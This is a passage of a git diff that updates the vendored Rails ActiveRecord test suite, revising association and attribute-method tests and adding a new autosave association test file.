+    assert_equal nil, AuthorAddress.find_by_id(authors(:david).author_address_id)
+    assert_equal nil, AuthorAddress.find_by_id(authors(:david).author_address_extra_id)
   end
 
   def test_invalid_belongs_to_dependent_option_raises_exception
-    assert_raises ArgumentError do
+    assert_raise ArgumentError do
       Author.belongs_to :special_author_address, :dependent => :nullify
     end
   end
@@ -710,13 +715,59 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
   def test_deleting_type_mismatch
     david = Developer.find(1)
     david.projects.reload
-    assert_raises(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(1) }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(1) }
   end
 
   def test_deleting_self_type_mismatch
     david = Developer.find(1)
     david.projects.reload
-    assert_raises(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(Project.find(1).developers) }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { david.projects.delete(Project.find(1).developers) }
+  end
+
+  def test_destroying
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_difference "Client.count", -1 do
+      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first)
+    end
+
+    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_destroying_by_fixnum_id
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_difference "Client.count", -1 do
+      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id)
+    end
+
+    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_destroying_by_string_id
+    force_signal37_to_load_all_clients_of_firm
+
+    assert_difference "Client.count", -1 do
+      companies(:first_firm).clients_of_firm.destroy(companies(:first_firm).clients_of_firm.first.id.to_s)
+    end
+
+    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
+  end
+
+  def test_destroying_a_collection
+    force_signal37_to_load_all_clients_of_firm
+    companies(:first_firm).clients_of_firm.create("name" => "Another Client")
+    assert_equal 2, companies(:first_firm).clients_of_firm.size
+
+    assert_difference "Client.count", -2 do
+      companies(:first_firm).clients_of_firm.destroy([companies(:first_firm).clients_of_firm[0], companies(:first_firm).clients_of_firm[1]])
+    end
+
+    assert_equal 0, companies(:first_firm).reload.clients_of_firm.size
+    assert_equal 0, companies(:first_firm).clients_of_firm(true).size
   end
 
   def test_destroy_all
@@ -734,6 +785,12 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert Client.find(:all, :conditions => "firm_id=#{firm.id}").empty?
   end
 
+  def test_dependence_for_associations_with_hash_condition
+    david = authors(:david)
+    post = posts(:thinking).id
+    assert_difference('Post.count', -1) { assert david.destroy }
+  end
+
   def test_destroy_dependent_when_deleted_from_association
     firm = Firm.find(:first)
     assert_equal 2, firm.clients.size
@@ -824,15 +881,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert !firm.clients.include?(:first_client)
   end
 
-  def test_replace_on_new_object
-    firm = Firm.new("name" => "New Firm")
-    firm.clients = [companies(:second_client), Client.new("name" => "New Client")]
-    assert firm.save
-    firm.reload
-    assert_equal 2, firm.clients.length
-    assert firm.clients.include?(Client.find_by_name("New Client"))
-  end
-
   def test_get_ids
     assert_equal [companies(:first_client).id, companies(:second_client).id], companies(:first_firm).client_ids
   end
@@ -860,15 +908,6 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert company.clients_using_sql.loaded?
   end
 
-  def test_assign_ids
-    firm = Firm.new("name" => "Apple")
-    firm.client_ids = [companies(:first_client).id, companies(:second_client).id]
-    firm.save
-    firm.reload
-    assert_equal 2, firm.clients.length
-    assert firm.clients.include?(companies(:second_client))
-  end
-
   def test_assign_ids_ignoring_blanks
     firm = Firm.create!(:name => 'Apple')
     firm.client_ids = [companies(:first_client).id, nil, companies(:second_client).id, '']
@@ -888,17 +927,7 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
       lambda { authors(:mary).comments = [comments(:greetings), comments(:more_greetings)] },
       lambda { authors(:mary).comments << Comment.create!(:body => "Yay", :post_id => 424242) },
       lambda { authors(:mary).comments.delete(authors(:mary).comments.first) },
-    ].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasManyReflection, &block) }
-  end
-
-
-  def test_assign_ids_for_through_a_belongs_to
-    post = Post.new(:title => "Assigning IDs works!", :body => "You heared it here first, folks!")
-    post.person_ids = [people(:david).id, people(:michael).id]
-    post.save
-    post.reload
-    assert_equal 2, post.people.length
-    assert post.people.include?(people(:david))
+    ].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection, &block) }
   end
 
   def test_dynamic_find_should_respect_association_order_for_through
@@ -1078,12 +1107,10 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     ActiveRecord::Base.store_full_sti_class = old
   end
 
-  uses_mocha 'mocking Comment.transaction' do
-    def test_association_proxy_transaction_method_starts_transaction_in_association_class
-      Comment.expects(:transaction)
-      Post.find(:first).comments.transaction do
-        # nothing
-      end
+  def test_association_proxy_transaction_method_starts_transaction_in_association_class
+    Comment.expects(:transaction)
+    Post.find(:first).comments.transaction do
+      # nothing
     end
   end
 
@@ -1097,5 +1124,11 @@ class HasManyAssociationsTest < ActiveRecord::TestCase
     assert !client_association.respond_to?(:private_method)
     assert client_association.respond_to?(:private_method, true)
   end
+
+  def test_creating_using_primary_key
+    firm = Firm.find(:first)
+    client = firm.clients_using_primary_key.create!(:name => 'test')
+    assert_equal firm.name, client.firm_name
+  end
 end
 
diff --git a/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb
index a07f4bcb..a5afd21d 100644
--- a/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/has_many_through_associations_test.rb
@@ -1,11 +1,23 @@
 require "cases/helper"
 require 'models/post'
 require 'models/person'
+require 'models/reference'
+require 'models/job'
 require 'models/reader'
 require 'models/comment'
+require 'models/tag'
+require 'models/tagging'
+require 'models/author'
+require 'models/owner'
+require 'models/pet'
+require 'models/toy'
+require 'models/contract'
+require 'models/company'
+require 'models/developer'
 
 class HasManyThroughAssociationsTest < ActiveRecord::TestCase
-  fixtures :posts, :readers, :people, :comments, :authors
+  fixtures :posts, :readers, :people, :comments, :authors, :owners, :pets, :toys,
+           :companies
 
   def test_associate_existing
     assert_queries(2) { posts(:thinking);people(:david) }
@@ -84,6 +96,24 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert posts(:welcome).reload.people(true).empty?
   end
 
+  def test_destroy_association
+    assert_difference "Person.count", -1 do
+      posts(:welcome).people.destroy(people(:michael))
+    end
+
+    assert posts(:welcome).reload.people.empty?
+    assert posts(:welcome).people(true).empty?
+  end
+
+  def test_destroy_all
+    assert_difference "Person.count", -1 do
+      posts(:welcome).people.destroy_all
+    end
+
+    assert posts(:welcome).reload.people.empty?
+    assert posts(:welcome).people(true).empty?
+  end
+
   def test_replace_association
     assert_queries(4){posts(:welcome);people(:david);people(:michael); posts(:welcome).people(true)}
     
@@ -102,6 +132,28 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert !posts(:welcome).reload.people(true).include?(people(:michael))
   end
 
+  def test_replace_order_is_preserved
+    posts(:welcome).people.clear
+    posts(:welcome).people = [people(:david), people(:michael)]
+    assert_equal [people(:david).id, people(:michael).id], posts(:welcome).readers.all(:order => 'id').map(&:person_id)
+
+    # Test the inverse order in case the first success was a coincidence
+    posts(:welcome).people.clear
+    posts(:welcome).people = [people(:michael), people(:david)]
+    assert_equal [people(:michael).id, people(:david).id], posts(:welcome).readers.all(:order => 'id').map(&:person_id)
+  end
+
+  def test_replace_by_id_order_is_preserved
+    posts(:welcome).people.clear
+    posts(:welcome).person_ids = [people(:david).id, people(:michael).id]
+    assert_equal [people(:david).id, people(:michael).id], posts(:welcome).readers.all(:order => 'id').map(&:person_id)
+
+    # Test the inverse order in case the first success was a coincidence
+    posts(:welcome).people.clear
+    posts(:welcome).person_ids = [people(:michael).id, people(:david).id]
+    assert_equal [people(:michael).id, people(:david).id], posts(:welcome).readers.all(:order => 'id').map(&:person_id)
+  end
+
   def test_associate_with_create
     assert_queries(1) { posts(:thinking) }
     
@@ -131,6 +183,30 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert_equal peeps + 1, posts(:thinking).people.count
   end
 
+  def test_associate_with_create_and_invalid_options
+    peeps = companies(:first_firm).developers.count
+    assert_nothing_raised { companies(:first_firm).developers.create(:name => '0') }
+    assert_equal peeps, companies(:first_firm).developers.count
+  end
+
+  def test_associate_with_create_and_valid_options
+    peeps = companies(:first_firm).developers.count
+    assert_nothing_raised { companies(:first_firm).developers.create(:name => 'developer') }
+    assert_equal peeps + 1, companies(:first_firm).developers.count
+  end
+
+  def test_associate_with_create_bang_and_invalid_options
+    peeps = companies(:first_firm).developers.count
+    assert_raises(ActiveRecord::RecordInvalid) { companies(:first_firm).developers.create!(:name => '0') }
+    assert_equal peeps, companies(:first_firm).developers.count
+  end
+
+  def test_associate_with_create_bang_and_valid_options
+    peeps = companies(:first_firm).developers.count
+    assert_nothing_raised { companies(:first_firm).developers.create!(:name => 'developer') }
+    assert_equal peeps + 1, companies(:first_firm).developers.count
+  end
+
   def test_clear_associations
     assert_queries(2) { posts(:welcome);posts(:welcome).people(true) }
     
@@ -201,6 +277,10 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert_equal 2, people(:michael).posts.count(:include => :readers)
   end
 
+  def test_inner_join_with_quoted_table_name
+    assert_equal 2, people(:michael).jobs.size
+  end
+
   def test_get_ids
     assert_equal [posts(:welcome).id, posts(:authorless).id].sort, people(:michael).post_ids.sort
   end
@@ -221,12 +301,10 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     assert !person.posts.loaded?
   end
 
-  uses_mocha 'mocking Tag.transaction' do
-    def test_association_proxy_transaction_method_starts_transaction_in_association_class
-      Tag.expects(:transaction)
-      Post.find(:first).tags.transaction do
-        # nothing
-      end
+  def test_association_proxy_transaction_method_starts_transaction_in_association_class
+    Tag.expects(:transaction)
+    Post.find(:first).tags.transaction do
+      # nothing
     end
   end
 
@@ -244,4 +322,25 @@ class HasManyThroughAssociationsTest < ActiveRecord::TestCase
     author.author_favorites.create(:favorite_author_id => 3)
     assert_equal post.author.author_favorites, post.author_favorites
   end
+
+  def test_has_many_association_through_a_has_many_association_with_nonstandard_primary_keys
+    assert_equal 1, owners(:blackbeard).toys.count
+  end
+
+  def test_find_on_has_many_association_collection_with_include_and_conditions
+    post_with_no_comments = people(:michael).posts_with_no_comments.first
+    assert_equal post_with_no_comments, posts(:authorless)
+  end
+
+  def test_has_many_through_has_one_reflection
+    assert_equal [comments(:eager_sti_on_associations_vs_comment)], authors(:david).very_special_comments
+  end
+
+  def test_modifying_has_many_through_has_one_reflection_should_raise
+    [
+      lambda { authors(:david).very_special_comments = [VerySpecialComment.create!(:body => "Gorp!", :post_id => 1011), VerySpecialComment.create!(:body => "Eep!", :post_id => 1012)] },
+      lambda { authors(:david).very_special_comments << VerySpecialComment.create!(:body => "Hoohah!", :post_id => 1013) },
+      lambda { authors(:david).very_special_comments.delete(authors(:david).very_special_comments.first) },
+    ].each {|block| assert_raise(ActiveRecord::HasManyThroughCantAssociateThroughHasOneOrManyReflection, &block) }
+  end
 end
diff --git a/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb
index 14032a67..69954af7 100644
--- a/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/has_one_associations_test.rb
@@ -36,6 +36,15 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_equal accounts(:rails_core_account), firm.account_using_primary_key
   end
 
+  def test_update_with_foreign_and_primary_keys
+    firm = companies(:first_firm)
+    account = firm.account_using_foreign_and_primary_keys
+    assert_equal Account.find_by_firm_name(firm.name), account
+    firm.save
+    firm.reload
+    assert_equal account, firm.account_using_foreign_and_primary_keys
+  end
+
   def test_can_marshal_has_one_association_with_nil_target
     firm = Firm.new
     assert_nothing_raised do
@@ -59,8 +68,8 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_type_mismatch
-    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = 1 }
-    assert_raises(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = Project.find(1) }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = 1 }
+    assert_raise(ActiveRecord::AssociationTypeMismatch) { companies(:first_firm).account = Project.find(1) }
   end
 
   def test_natural_assignment
@@ -76,7 +85,25 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     companies(:first_firm).save
     assert_nil companies(:first_firm).account
     # account is dependent, therefore is destroyed when reference to owner is lost
-    assert_raises(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
+    assert_raise(ActiveRecord::RecordNotFound) { Account.find(old_account_id) }
+  end
+
+  def test_nullification_on_association_change
+    firm = companies(:rails_core)
+    old_account_id = firm.account.id
+    firm.account = Account.new
+    # account is dependent with nullify, therefore its firm_id should be nil
+    assert_nil Account.find(old_account_id).firm_id
+  end
+
+  def test_association_changecalls_delete
+    companies(:first_firm).deletable_account = Account.new
+    assert_equal [], Account.destroyed_account_ids[companies(:first_firm).id]
+  end
+
+  def test_association_change_calls_destroy
+    companies(:first_firm).account = Account.new
+    assert_equal [companies(:first_firm).id], Account.destroyed_account_ids[companies(:first_firm).id]
   end
 
   def test_natural_assignment_to_already_associated_record
@@ -193,28 +220,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_equal account, firm.account
   end
 
-  def test_build_before_child_saved
-    firm = Firm.find(1)
-
-    account = firm.account.build("credit_limit" => 1000)
-    assert_equal account, firm.account
-    assert account.new_record?
-    assert firm.save
-    assert_equal account, firm.account
-    assert !account.new_record?
-  end
-
-  def test_build_before_either_saved
-    firm = Firm.new("name" => "GlobalMegaCorp")
-
-    firm.account = account = Account.new("credit_limit" => 1000)
-    assert_equal account, firm.account
-    assert account.new_record?
-    assert firm.save
-    assert_equal account, firm.account
-    assert !account.new_record?
-  end
-
   def test_failing_build_association
     firm = Firm.new("name" => "GlobalMegaCorp")
     firm.save
@@ -253,16 +258,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     firm.destroy
   end
 
-  def test_assignment_before_parent_saved
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.account = a = Account.find(1)
-    assert firm.new_record?
-    assert_equal a, firm.account
-    assert firm.save
-    assert_equal a, firm.account
-    assert_equal a, firm.account(true)
-  end
-
   def test_finding_with_interpolated_condition
     firm = Firm.find(:first)
     superior = firm.clients.create(:name => 'SuperiorCo')
@@ -279,61 +274,6 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     assert_equal a, firm.account
     assert_equal a, firm.account(true)
   end
-  
-  def test_save_fails_for_invalid_has_one
-    firm = Firm.find(:first)
-    assert firm.valid?
-    
-    firm.account = Account.new
-    
-    assert !firm.account.valid?
-    assert !firm.valid?
-    assert !firm.save
-    assert_equal "is invalid", firm.errors.on("account")
-  end
-
-
-  def test_save_succeeds_for_invalid_has_one_with_validate_false
-    firm = Firm.find(:first)
-    assert firm.valid?
-
-    firm.unvalidated_account = Account.new
-
-    assert !firm.unvalidated_account.valid?
-    assert firm.valid?
-    assert firm.save
-  end
-
-  def test_assignment_before_either_saved
-    firm = Firm.new("name" => "GlobalMegaCorp")
-    firm.account = a = Account.new("credit_limit" => 1000)
-    assert firm.new_record?
-    assert a.new_record?
-    assert_equal a, firm.account
-    assert firm.save
-    assert !firm.new_record?
-    assert !a.new_record?
-    assert_equal a, firm.account
-    assert_equal a, firm.account(true)
-  end
-
-  def test_not_resaved_when_unchanged
-    firm = Firm.find(:first, :include => :account)
-    firm.name += '-changed'
-    assert_queries(1) { firm.save! }
-
-    firm = Firm.find(:first)
-    firm.account = Account.find(:first)
-    assert_queries(Firm.partial_updates? ? 0 : 1) { firm.save! }
-
-    firm = Firm.find(:first).clone
-    firm.account = Account.find(:first)
-    assert_queries(2) { firm.save! }
-
-    firm = Firm.find(:first).clone
-    firm.account = Account.find(:first).clone
-    assert_queries(2) { firm.save! }
-  end
 
   def test_save_still_works_after_accessing_nil_has_one
     jp = Company.new :name => 'Jaded Pixel'
@@ -350,8 +290,8 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_one_proxy_should_not_respond_to_private_methods
-    assert_raises(NoMethodError) { accounts(:signals37).private_method }
-    assert_raises(NoMethodError) { companies(:first_firm).account.private_method }
+    assert_raise(NoMethodError) { accounts(:signals37).private_method }
+    assert_raise(NoMethodError) { companies(:first_firm).account.private_method }
   end
 
   def test_has_one_proxy_should_respond_to_private_methods_via_send
@@ -359,4 +299,32 @@ class HasOneAssociationsTest < ActiveRecord::TestCase
     companies(:first_firm).account.send(:private_method)
   end
 
+  def test_save_of_record_with_loaded_has_one
+    @firm = companies(:first_firm)
+    assert_not_nil @firm.account
+
+    assert_nothing_raised do
+      Firm.find(@firm.id).save!
+      Firm.find(@firm.id, :include => :account).save!
+    end
+
+    @firm.account.destroy
+
+    assert_nothing_raised do
+      Firm.find(@firm.id).save!
+      Firm.find(@firm.id, :include => :account).save!
+    end
+  end
+
+  def test_build_respects_hash_condition
+    account = companies(:first_firm).build_account_limit_500_with_hash_conditions
+    assert account.save
+    assert_equal 500, account.credit_limit
+  end
+
+  def test_create_respects_hash_condition
+    account = companies(:first_firm).create_account_limit_500_with_hash_conditions
+    assert       !account.new_record?
+    assert_equal 500, account.credit_limit
+  end
 end
diff --git a/vendor/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb b/vendor/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb
index 7d418de9..9aef3eb3 100644
--- a/vendor/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/has_one_through_associations_test.rb
@@ -1,5 +1,6 @@
 require "cases/helper"
 require 'models/club'
+require 'models/member_type'
 require 'models/member'
 require 'models/membership'
 require 'models/sponsor'
@@ -7,7 +8,7 @@ require 'models/organization'
 require 'models/member_detail'
 
 class HasOneThroughAssociationsTest < ActiveRecord::TestCase
-  fixtures :members, :clubs, :memberships, :sponsors, :organizations
+  fixtures :member_types, :members, :clubs, :memberships, :sponsors, :organizations
   
   def setup
     @member = members(:groucho)
@@ -27,6 +28,16 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
     assert_not_nil new_member.current_membership
     assert_not_nil new_member.club
   end
+
+  def test_creating_association_builds_through_record_for_new
+    new_member = Member.new(:name => "Jane")
+    new_member.club = clubs(:moustache_club)
+    assert new_member.current_membership
+    assert_equal clubs(:moustache_club), new_member.current_membership.club
+    assert_equal clubs(:moustache_club), new_member.club
+    assert new_member.save
+    assert_equal clubs(:moustache_club), new_member.club
+  end
   
   def test_replace_target_record
     new_club = Club.create(:name => "Marx Bros")
@@ -42,7 +53,14 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
       @member.reload      
     end
   end
-  
+
+  def test_set_record_to_nil_should_delete_association
+    @member.club = nil
+    @member.reload
+    assert_equal nil, @member.current_membership
+    assert_nil @member.club
+  end
+
   def test_has_one_through_polymorphic
     assert_equal clubs(:moustache_club), @member.sponsor_club
   end
@@ -114,8 +132,8 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
   end
 
   def test_has_one_through_proxy_should_not_respond_to_private_methods
-    assert_raises(NoMethodError) { clubs(:moustache_club).private_method }
-    assert_raises(NoMethodError) { @member.club.private_method }
+    assert_raise(NoMethodError) { clubs(:moustache_club).private_method }
+    assert_raise(NoMethodError) { @member.club.private_method }
   end
 
   def test_has_one_through_proxy_should_respond_to_private_methods_via_send
@@ -158,4 +176,34 @@ class HasOneThroughAssociationsTest < ActiveRecord::TestCase
     assert @new_organization.members.include?(@member)
   end
 
+  def test_preloading_has_one_through_on_belongs_to
+    assert_not_nil @member.member_type
+    @organization = organizations(:nsa)
+    @member_detail = MemberDetail.new
+    @member.member_detail = @member_detail
+    @member.organization = @organization
+    @member_details = assert_queries(3) do
+      MemberDetail.find(:all, :include => :member_type)
+    end
+    @new_detail = @member_details[0]
+    assert @new_detail.loaded_member_type?
+    assert_not_nil assert_no_queries { @new_detail.member_type }
+  end
+
+  def test_save_of_record_with_loaded_has_one_through
+    @club = @member.club
+    assert_not_nil @club.sponsored_member
+
+    assert_nothing_raised do
+      Club.find(@club.id).save!
+      Club.find(@club.id, :include => :sponsored_member).save!
+    end
+
+    @club.sponsor.destroy
+
+    assert_nothing_raised do
+      Club.find(@club.id).save!
+      Club.find(@club.id, :include => :sponsored_member).save!
+    end
+  end
 end
diff --git a/vendor/rails/activerecord/test/cases/associations/inner_join_association_test.rb b/vendor/rails/activerecord/test/cases/associations/inner_join_association_test.rb
index f87c9141..71415317 100644
--- a/vendor/rails/activerecord/test/cases/associations/inner_join_association_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/inner_join_association_test.rb
@@ -29,6 +29,11 @@ class InnerJoinAssociationTest < ActiveRecord::TestCase
     assert_match /INNER JOIN .?categories.? ON.*AND.*.?General.?.*TERMINATING_MARKER/, sql
   end
 
+  def test_construct_finder_sql_applies_aliases_tables_on_association_conditions
+    result = Author.find(:all, :joins => [:thinking_posts, :welcome_posts])
+    assert_equal authors(:david), result.first
+  end
+
   def test_construct_finder_sql_unpacks_nested_joins
     sql = Author.send(:construct_finder_sql, :joins => {:posts => [[:comments]]})
     assert_no_match /inner join.*inner join.*inner join/i, sql, "only two join clauses should be present"
diff --git a/vendor/rails/activerecord/test/cases/associations/join_model_test.rb b/vendor/rails/activerecord/test/cases/associations/join_model_test.rb
index 7a0427aa..21412d1e 100644
--- a/vendor/rails/activerecord/test/cases/associations/join_model_test.rb
+++ b/vendor/rails/activerecord/test/cases/associations/join_model_test.rb
@@ -317,11 +317,11 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_belongs_to_polymorphic_with_counter_cache
-    assert_equal 0, posts(:welcome)[:taggings_count]
+    assert_equal 1, posts(:welcome)[:taggings_count]
     tagging = posts(:welcome).taggings.create(:tag => tags(:general))
-    assert_equal 1, posts(:welcome, :reload)[:taggings_count]
+    assert_equal 2, posts(:welcome, :reload)[:taggings_count]
     tagging.destroy
-    assert posts(:welcome, :reload)[:taggings_count].zero?
+    assert_equal 1, posts(:welcome, :reload)[:taggings_count]
   end
 
   def test_unavailable_through_reflection
@@ -377,7 +377,7 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
   end
 
   def test_has_many_through_polymorphic_has_one
-    assert_raise(ActiveRecord::HasManyThroughSourceAssociationMacroError) { authors(:david).tagging }
+    assert_equal Tagging.find(1,2).sort_by { |t| t.id }, authors(:david).tagging
   end
 
   def test_has_many_through_polymorphic_has_many
@@ -510,13 +510,11 @@ class AssociationsJoinModelTest < ActiveRecord::TestCase
     assert !author.comments.loaded?
   end
 
-  uses_mocha('has_many_through_collection_size_uses_counter_cache_if_it_exists') do
-    def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
-      author = authors(:david)
-      author.stubs(:read_attribute).with('comments_count').returns(100)
-      assert_equal 100, author.comments.size
-      assert !author.comments.loaded?
-    end
+  def test_has_many_through_collection_size_uses_counter_cache_if_it_exists
+    author = authors(:david)
+    author.stubs(:read_attribute).with('comments_count').returns(100)
+    assert_equal 100, author.comments.size
+    assert !author.comments.loaded?
   end
 
   def test_adding_junk_to_has_many_through_should_raise_type_mismatch
diff --git a/vendor/rails/activerecord/test/cases/attribute_methods_test.rb b/vendor/rails/activerecord/test/cases/attribute_methods_test.rb
index 77ee8d8f..17ed3024 100644
--- a/vendor/rails/activerecord/test/cases/attribute_methods_test.rb
+++ b/vendor/rails/activerecord/test/cases/attribute_methods_test.rb
@@ -56,6 +56,18 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     assert_equal myobj, topic.content
   end
 
+  def test_typecast_attribute_from_select_to_false
+    topic = Topic.create(:title => 'Budget')
+    topic = Topic.find(:first, :select => "topics.*, 1=2 as is_test")
+    assert !topic.is_test?
+  end
+
+  def test_typecast_attribute_from_select_to_true
+    topic = Topic.create(:title => 'Budget')
+    topic = Topic.find(:first, :select => "topics.*, 2=2 as is_test")
+    assert topic.is_test?
+  end
+
   def test_kernel_methods_not_implemented_in_activerecord
     %w(test name display y).each do |method|
       assert !ActiveRecord::Base.instance_method_already_implemented?(method), "##{method} is defined"
@@ -88,7 +100,7 @@ class AttributeMethodsTest < ActiveRecord::TestCase
     %w(save create_or_update).each do |method|
       klass = Class.new ActiveRecord::Base
       klass.class_eval "def #{method}() 'defined #{method}' end"
-      assert_raises ActiveRecord::DangerousAttributeError do
+      assert_raise ActiveRecord::DangerousAttributeError do
         klass.instance_method_already_implemented?(method)
       end
     end
diff --git a/vendor/rails/activerecord/test/cases/autosave_association_test.rb b/vendor/rails/activerecord/test/cases/autosave_association_test.rb
new file mode 100644
index 00000000..bd55bc56
--- /dev/null
+++ b/vendor/rails/activerecord/test/cases/autosave_association_test.rb
@@ -0,0 +1,1142 @@
+require 'cases/helper'
+require 'models/bird'
+require 'models/company'
+require 'models/customer'
+require 'models/developer'
+require 'models/order'
+require 'models/parrot'
+require 'models/person'
+require 'models/pirate'
+require 'models/post'
+require 'models/reader'
+require 'models/ship'
+require 'models/ship_part'
+require 'models/treasure'
+
+class TestAutosaveAssociationsInGeneral < ActiveRecord::TestCase
+  def test_autosave_should_be_a_valid_option_for_has_one
+    assert base.valid_keys_for_has_one_association.include?(:autosave)
+  end
+
+  def test_autosave_should_be_a_valid_option_for_belongs_to
+    assert base.valid_keys_for_belongs_to_association.include?(:autosave)
+  end
+
+  def test_autosave_should_be_a_valid_option_for_has_many
+    assert base.valid_keys_for_has_many_association.include?(:autosave)
+  end
+
+  def test_autosave_should_be_a_valid_option_for_has_and_belongs_to_many
+    assert base.valid_keys_for_has_and_belongs_to_many_association.include?(:autosave)
+  end
+
+  private
+
+  def base
+    ActiveRecord::Base
+  end
+end
+
+class TestDefaultAutosaveAssociationOnAHasOneAssociation < ActiveRecord::TestCase
+  def test_should_save_parent_but_not_invalid_child
+    firm = Firm.new(:name => 'GlobalMegaCorp')
+    assert firm.valid?
+
+    firm.build_account_using_primary_key
+    assert !firm.build_account_using_primary_key.valid?
+
+    assert firm.save
+    assert firm.account_using_primary_key.new_record?
+  end
+
+  def test_save_fails_for_invalid_has_one
+    firm = Firm.find(:first)
+    assert firm.valid?
+
+    firm.account = Account.new
+
+    assert !firm.account.valid?
+    assert !firm.valid?
+    assert !firm.save
+    assert_equal "is invalid", firm.errors.on("account")
+  end
+
+  def test_save_succeeds_for_invalid_has_one_with_validate_false
+    firm = Firm.find(:first)
+    assert firm.valid?
+
+    firm.unvalidated_account = Account.new
+
+    assert !firm.unvalidated_account.valid?
+    assert firm.valid?
+    assert firm.save
+  end
+
+  def test_build_before_child_saved
+    firm = Firm.find(1)
+
+    account = firm.account.build("credit_limit" => 1000)
+    assert_equal account, firm.account
+    assert account.new_record?
+    assert firm.save
+    assert_equal account, firm.account
+    assert !account.new_record?
+  end
+
+  def test_build_before_either_saved
+    firm = Firm.new("name" => "GlobalMegaCorp")
+
+    firm.account = account = Account.new("credit_limit" => 1000)
+    assert_equal account, firm.account
+    assert account.new_record?
+    assert firm.save
+    assert_equal account, firm.account
+    assert !account.new_record?
+  end
+
+  def test_assignment_before_parent_saved
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.account = a = Account.find(1)
+    assert firm.new_record?
+    assert_equal a, firm.account
+    assert firm.save
+    assert_equal a, firm.account
+    assert_equal a, firm.account(true)
+  end
+
+  def test_assignment_before_either_saved
+    firm = Firm.new("name" => "GlobalMegaCorp")
+    firm.account = a = Account.new("credit_limit" => 1000)
+    assert firm.new_record?
+    assert a.new_record?
+    assert_equal a, firm.account
+    assert firm.save
+    assert !firm.new_record?
+    assert !a.new_record?
+    assert_equal a, firm.account
+    assert_equal a, firm.account(true)
+  end
+
+  def test_not_resaved_when_unchanged
+    firm = Firm.find(:first, :include => :account)
+    firm.name += '-changed'
+    assert_queries(1) { firm.save! }
+
+    firm = Firm.find(:first)
+    firm.account = Account.find(:first)
+    assert_queries(Firm.partial_updates? ? 0 : 1) { firm.save! }
+
+    firm = Firm.find(:first).clone
+    firm.account = Account.find(:first)
+    assert_queries(2) { firm.save! }
+
+    firm = Firm.find(:first).clone
+    firm.account = Account.find(:first).clone
+    assert_queries(2) { firm.save! }
+  end
+end
+
+class TestDefaultAutosaveAssociationOnABelongsToAssociation < ActiveRecord::TestCase
+  def test_should_save_parent_but_not_invalid_child
+    client = Client.new(:name => 'Joe (the Plumber)')
+    assert client.valid?
+
+    client.build_firm
+    assert !client.firm.valid?
+
+    assert client.save
+    assert client.firm.new_record?
+  end
+
+  def test_save_fails_for_invalid_belongs_to
+    assert log = AuditLog.create(:developer_id => 0, :message => "")
+
+    log.developer = Developer.new
+    assert !log.developer.valid?
+    assert !log.valid?
+    assert !log.save
+    assert_equal "is invalid", log.errors.on("developer")
+  end
+
+  def test_save_succeeds_for_invalid_belongs_to_with_validate_false
+    assert log = AuditLog.create(:developer_id => 0, :message=> "")
+
+    log.unvalidated_developer = Developer.new
+    assert !log.unvalidated_developer.valid?
+    assert log.valid?
+    assert log.save
+  end
+
